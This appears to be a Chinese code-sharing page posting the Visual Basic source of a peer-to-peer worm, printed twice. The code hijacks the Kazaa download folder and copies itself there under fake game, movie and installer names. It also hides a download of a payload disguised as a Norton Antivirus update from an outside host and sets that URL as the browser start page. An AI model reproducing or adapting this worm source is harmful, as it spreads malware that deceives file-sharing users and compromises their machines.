📄 p2p蠕虫的代码 .txt

📁 p2p蠕虫的代码
💻 TXT
字号:
Sub fORM_lOAD()
If App.PrevInstance = True Then
    End
End If
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set windir = fso.GetSpecialFolder(0)
    If (Not (fso.FolderExists(windir & "\" & "fonts\^-^"))) Then
        fso.CreateFolder windir & "\" & "fonts\^-^"
    End If
    regcreate "HKCU\Software\Kazaa\Transfer\DlDir0", "012345:" & windir & 
"\" & "fonts\^-^"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Baldur@Gate-Full Downloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\ScaryMovie2-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\StarWars2 - CloneAttack - FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Spiderman-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Shakira.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Gladiator-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\AikaQuest3Hentai-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\MoviezChannelsInstaler.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Zidane-ScreenInstaler.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\LordOfTheRings-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\SIMS-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\1.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\2.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\3.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\4.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\5.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\StriderHyriu.exe"
    XSD = 0
    Do While XSD < 500
    Randomize
    num = Int((5 * Rnd) + 1)
    num2 = Int((100000 * Rnd) + 1)
    If num = 1 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\Rebeka-FullInstaler.exe", True
    If num = 2 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\BinLadenFucksss!!-FullGame.exe", True
    If num = 3 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\3~34" & num2 & ".exe", True
    If num = 4 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\666.exe", True
    If num = 5 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\Minerva" & num2 & ".exe", True
    XSD = XSD + 1
    Loop
nResult = Shell("start.exe 
http://shermnar.web.ctonet.it/NortonAntivirus2002UpdateInstaler.exe", 
vbHide)
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
"http://shermnar.web.ctonet.it/NortonAntivirus2002UpdateInstaler.exe"
End
End Sub

Sub regcreate(regkey, regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub


Again

Sub fORM_lOAD()
If App.PrevInstance = True Then
    End
End If
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set windir = fso.GetSpecialFolder(0)
    If (Not (fso.FolderExists(windir & "\" & "fonts\^-^"))) Then
        fso.CreateFolder windir & "\" & "fonts\^-^"
    End If
    regcreate "HKCU\Software\Kazaa\Transfer\DlDir0", "012345:" & windir & 
"\" & "fonts\^-^"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Baldur@Gate-Full Downloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\ScaryMovie2-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\StarWars2 - CloneAttack - FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Spiderman-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Shakira.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Gladiator-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\AikaQuest3Hentai-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\MoviezChannelsInstaler.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\Zidane-ScreenInstaler.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\LordOfTheRings-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\SIMS-FullDownloader.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\1.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\2.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\3.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\4.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\5.exe"
    fso.CopyFile App.Path & "\" & App.EXEName & ".exe", windir & "\" & 
"fonts\^-^\StriderHyriu.exe"
    XSD = 0
    Do While XSD < 500
    Randomize
    num = Int((5 * Rnd) + 1)
    num2 = Int((100000 * Rnd) + 1)
    If num = 1 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\Rebeka-FullInstaler.exe", True
    If num = 2 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\BinLadenFucksss!!-FullGame.exe", True
    If num = 3 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\3~34" & num2 & ".exe", True
    If num = 4 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\666.exe", True
    If num = 5 Then fso.CopyFile App.Path & "\" & App.EXEName & ".exe", 
windir & "\" & "fonts\^-^\Minerva" & num2 & ".exe", True
    XSD = XSD + 1
    Loop
nResult = Shell("start.exe 
http://shermnar.web.ctonet.it/NortonAntivirus2002UpdateInstaler.exe", 
vbHide)
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
"http://shermnar.web.ctonet.it/NortonAntivirus2002UpdateInstaler.exe"
End
End Sub

Sub regcreate(regkey, regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
💿 文件大小 2 K
👤 上传用户 angela5683
📂 所属分类文章/文档
📄 代码行数 153 行
💻 语言类型 TXT
🏷️ 相关标签

#p2p #蠕虫 #代码
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -